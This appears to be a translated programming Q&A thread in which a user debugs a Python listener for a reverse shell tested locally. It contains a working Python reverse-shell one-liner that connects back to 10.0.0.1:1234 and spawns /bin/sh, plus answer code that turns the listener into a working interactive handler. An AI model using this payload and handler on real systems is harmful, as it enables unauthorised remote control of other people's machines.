0

我对我在本地尝试的一个反向 shell 有疑问:

在手动尝试使用以下反向 shell 获取交互式 shell 的步骤后:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

_

我试图做一个可以自动执行此操作的python服务器:

# coding: utf-8

import socket

socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
socket.bind(('', 1234))
socket.listen(1)
client, address = socket.accept()
print "{} connected".format( address )

while True:
        print(client.recv(2048)) # this showed me I had a shell
        client.send(input("").encode('utf-8'))

client.close()
stock.close()

有人能弄清楚为什么我的命令没有执行但 shell 启动了(客户端)吗?

谢谢。

4

2 回答 2

0
  • 首先,变量名不应与库名相同。
  • 由于您直接连接到 shell,因此每次发送数据时都必须使用换行符说明符,即 '\n'
  • 您需要解码传入的数据
  • 关闭客户端和套接字将不起作用。因为它永远不会退出 while 循环,并且下面的代码将不起作用。您可以为此检查输出。例如,当您键入“退出”时,循环将结束。

代码至少应该是这样的:

import socket

def interact(client):
    command=''
    while(command != 'exit'):
        command=input('$ ')
        client.send((command + '\n').encode('utf-8'))
        print client.recv(2048).decode('utf-8')
    client.close()
    return

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('', 1234))
s.listen(1)
client, addr = s.accept()
print "{} connected".format( addr )
interact(client)
于 2022-01-08T22:49:29.333 回答
0
    client.send(input("").encode('utf-8'))

input将从它读取的输入中删除换行符。但是,shell 期望命令以换行符结尾。因此,解决方法是添加缺少的换行符:

    client.send(input("").encode('utf-8') + b"\n")
于 2022-01-08T22:46:57.660 回答